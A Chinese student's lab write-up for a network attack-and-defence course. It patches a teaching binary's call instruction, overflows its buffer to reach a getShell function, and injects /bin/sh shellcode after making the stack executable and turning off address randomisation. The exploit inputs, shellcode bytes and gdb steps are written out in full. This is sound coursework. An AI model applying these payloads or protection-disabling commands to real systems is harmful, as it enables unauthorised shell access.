2019-2020-2 20175233 《网络对抗技术》 Exp1 PC平台逆向破解
2019-2020-2 20175223 《网络对抗技术》 Exp1 PC平台逆向破解
实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
基础知识
- 管道 |
- 利用 Linux 所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。
- Shell 输入/输出重定向
- 大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。
重定向命令列表如下:
| 命令 | 说明 |
|---|---|
| command > file | 将输出重定向到 file |
| command < file | 将输入重定向到 file |
| command >> file | 将输出以追加的方式重定向到 file |
| n > file | 将文件描述符为 n 的文件重定向到 file |
| n >> file | 将文件描述符为 n 的文件以追加的方式重定向到 file |
| n >& m | 将输出文件 m 和 n 合并 |
| n <& m | 将输入文件 m 和 n 合并 |
| << tag | 将开始标记 tag 和结束标记 tag 之间的内容作为输入 |
- NOP, JNE, JE, JMP, CMP汇编指令的机器码:
| 汇编指令 | 功能 | 机器码 |
|---|---|---|
| NOP | 无作用 | 90 |
| JNE | 若不相等则转移 | 75 |
| JE | 若相等则转移 | 74 |
| JMP | 无条件转移 | eb |
| CMP | 比较 | 39 |
- 反汇编与十六进制编程器
-
objdump 命令
Linux下的反汇编目标文件或者可执行文件的命令 。
-
objdump -d 参数
--disassemble:从objfile中反汇编那些特定指令机器码的section。 -
十六进制编程器 =
vi/vim+xxd利用
vi/vim调用外部十六进制文件显示命令xxd即可编辑二进制文件。- 查看模式下,
%!xxd将当前文本转换为16进制格式显示; - 查看模式下,
%!xxd -r将当前文件转换回文本格式显示。
- 查看模式下,
注意:在使用 %!xxd -r 恢复格式之前,不能 :w 保存文件,否则可执行文件无法执行。
实验内容
直接修改程序机器指令,改变程序执行流程
- 打开pwn1所在目录

objdump -d pwn1反汇编
![1.png]()
注:
call 8048491对应的机器指令e8 d7ffffff- EIP寄存器中的值(下条指令的地址):80484ba
- e8为call指令的机器指令
新 EIP 值为80484ba + d7ffffff = 8048491(调用)
- 改变程序执行流程为
- 计算调用
的偏移量:804847d-80484ba=ffffffc3 - 新机器指令:e8 c3 ff ff ff
- 修改程序机器指令
1.vi pwn1打开文件后为乱码,后输入%!xxd将当前文本转换为16进制格式显示,
输入/e8 d7 查找指令,修改为c3,输入%!xxd -r转换为原格式,wq保存退出。
- 反编译结果
![4.png]()
通过构造输入参数,造成BOF攻击,改变程序执行流程
objdump -d pwn2了解函数
![5.png]()
- 读入字符串,但系统只预留了28字节的缓冲区
- 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
- 确认输入字符串哪几个字符会覆盖到返回地址
- 用gdb pwn2调试程序,输入有规律的字符串如
1111111122222222333333334444444412345678,发生段错误产生溢出
![6.png]()
2.使用info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
![8.png]()
3.getshell函数的地址为:0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为\x7d\x84\x04\x08
4.输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

后使用xxd input查看input文件的内容是否如预期。

5.(cat input; cat) | ./pwn2 :
将 cat input; cat 的输出,通过管道符“|”,作为 pwn2 的输入。

注入Shellcode并执行
- 准备shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
-
实践采用老师推荐的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
-
检查 execstack 安装情况
![11.png]()
-
准备、初始设置
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space

- anything+retaddr+nops+shellcode 构造成功攻击buf的结构(成功,跳过错误示范)
- 由 gdb 来调试pwn3 这个进程。
-
ps -ef | grep pwn查看进程号;
![13.png]()
-
另一终端使用
gdb,调用进程attach 1804
![14.png]()
-
反汇编
函数 disassemble foo; -
设置
ret断点break *0x080484ae; -
另一终端按下回车
-
再回到
gdb终端输入c继续运行; -
info r esp查看%esp的值; -
x/16x 0xffffe348 显示 shellcode 前的起始地址:
![15.png]()
-
注入一段代码,构造一个
input_shellcodeperl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode -
(cat input_shellcode;cat) | ./pwn3 注入:
![16.png]()
总结
-
收获与感想
- 第一次做这类实验,遇到了一些困难,都解决了,也明白了其中的原理。虽然是按照指导书进行操作攻击,但成功后还是很激动,毕竟是第一次自己动手实现缓冲区溢出攻击。
-
什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
- 可引起经济损失、机密泄露、隐私暴露、数据篡改等问题。











浙公网安备 33010602011771号